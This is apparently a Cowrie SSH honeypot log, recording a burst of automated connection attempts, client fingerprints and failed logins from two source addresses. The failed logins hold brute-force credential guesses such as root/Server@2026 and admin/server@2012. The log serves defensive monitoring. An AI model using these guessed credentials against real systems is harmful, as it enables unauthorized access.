{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:16.552490Z","src_ip":"203.115.100.24","session":"3dd921784460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57477,"dst_ip":"10.17.0.5","dst_port":22,"session":"c09f883b81e3","protocol":"ssh","message":"New connection: 203.115.100.24:57477 (10.17.0.5:22) [session: c09f883b81e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:16.796334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:16.803800Z","src_ip":"203.115.100.24","session":"c09f883b81e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:17.033727Z","src_ip":"203.115.100.24","session":"c09f883b81e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2026","message":"login attempt [root/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:17.982469Z","src_ip":"203.115.100.24","session":"c09f883b81e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:18.462251Z","src_ip":"203.115.100.24","session":"c09f883b81e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57566,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c3c722d064","protocol":"ssh","message":"New connection: 203.115.100.24:57566 (10.17.0.5:22) [session: 78c3c722d064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:18.707488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:18.712806Z","src_ip":"203.115.100.24","session":"78c3c722d064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:18.949586Z","src_ip":"203.115.100.24","session":"78c3c722d064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2026","message":"login attempt [admin/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:19.932710Z","src_ip":"203.115.100.24","session":"78c3c722d064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:20.413985Z","src_ip":"203.115.100.24","session":"78c3c722d064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57668,"dst_ip":"10.17.0.5","dst_port":22,"session":"669a03e667cf","protocol":"ssh","message":"New connection: 203.115.100.24:57668 (10.17.0.5:22) [session: 669a03e667cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:20.653382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:20.658621Z","src_ip":"203.115.100.24","session":"669a03e667cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:20.882120Z","src_ip":"203.115.100.24","session":"669a03e667cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2026","message":"login attempt [user/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:21.805516Z","src_ip":"203.115.100.24","session":"669a03e667cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:22.290008Z","src_ip":"203.115.100.24","session":"669a03e667cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57758,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d3a1891ddb","protocol":"ssh","message":"New connection: 203.115.100.24:57758 (10.17.0.5:22) [session: c3d3a1891ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:22.544887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:22.549606Z","src_ip":"203.115.100.24","session":"c3d3a1891ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:22.776648Z","src_ip":"203.115.100.24","session":"c3d3a1891ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2026","message":"login attempt [user2/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:23.724010Z","src_ip":"203.115.100.24","session":"c3d3a1891ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:24.195932Z","src_ip":"203.115.100.24","session":"c3d3a1891ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57846,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7856172f03b","protocol":"ssh","message":"New connection: 203.115.100.24:57846 (10.17.0.5:22) [session: b7856172f03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:24.448021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:24.455390Z","src_ip":"203.115.100.24","session":"b7856172f03b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:24.694299Z","src_ip":"203.115.100.24","session":"b7856172f03b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2012","message":"login attempt [root/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:25.679241Z","src_ip":"203.115.100.24","session":"b7856172f03b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:26.150555Z","src_ip":"203.115.100.24","session":"b7856172f03b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57941,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e79d5903504","protocol":"ssh","message":"New connection: 203.115.100.24:57941 (10.17.0.5:22) [session: 6e79d5903504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:26.373710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:26.378749Z","src_ip":"203.115.100.24","session":"6e79d5903504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:26.597013Z","src_ip":"203.115.100.24","session":"6e79d5903504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59286,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac3e97a5b9b9","protocol":"ssh","message":"New connection: 159.203.92.129:59286 (159.203.135.109:22) [session: ac3e97a5b9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:27.338646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:27.342843Z","src_ip":"159.203.92.129","session":"ac3e97a5b9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:27.347278Z","src_ip":"159.203.92.129","session":"ac3e97a5b9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abonent1","password":"123456","message":"login attempt [abonent1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:27.357826Z","src_ip":"159.203.92.129","session":"ac3e97a5b9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2012","message":"login attempt [admin/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:27.501095Z","src_ip":"203.115.100.24","session":"6e79d5903504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:27.973629Z","src_ip":"203.115.100.24","session":"6e79d5903504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58034,"dst_ip":"10.17.0.5","dst_port":22,"session":"34741cad230f","protocol":"ssh","message":"New connection: 203.115.100.24:58034 (10.17.0.5:22) [session: 34741cad230f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:28.217798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:28.226441Z","src_ip":"203.115.100.24","session":"34741cad230f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:28.442855Z","src_ip":"159.203.92.129","session":"ac3e97a5b9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:28.457365Z","src_ip":"203.115.100.24","session":"34741cad230f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2012","message":"login attempt [user/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:29.408026Z","src_ip":"203.115.100.24","session":"34741cad230f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:29.881959Z","src_ip":"203.115.100.24","session":"34741cad230f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58128,"dst_ip":"10.17.0.5","dst_port":22,"session":"392d91c9c17c","protocol":"ssh","message":"New connection: 203.115.100.24:58128 (10.17.0.5:22) [session: 392d91c9c17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:30.103882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:30.109937Z","src_ip":"203.115.100.24","session":"392d91c9c17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:30.322387Z","src_ip":"203.115.100.24","session":"392d91c9c17c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2012","message":"login attempt [user2/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:31.202691Z","src_ip":"203.115.100.24","session":"392d91c9c17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:31.677060Z","src_ip":"203.115.100.24","session":"392d91c9c17c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58212,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21e02d452d1","protocol":"ssh","message":"New connection: 203.115.100.24:58212 (10.17.0.5:22) [session: f21e02d452d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:31.908732Z"}
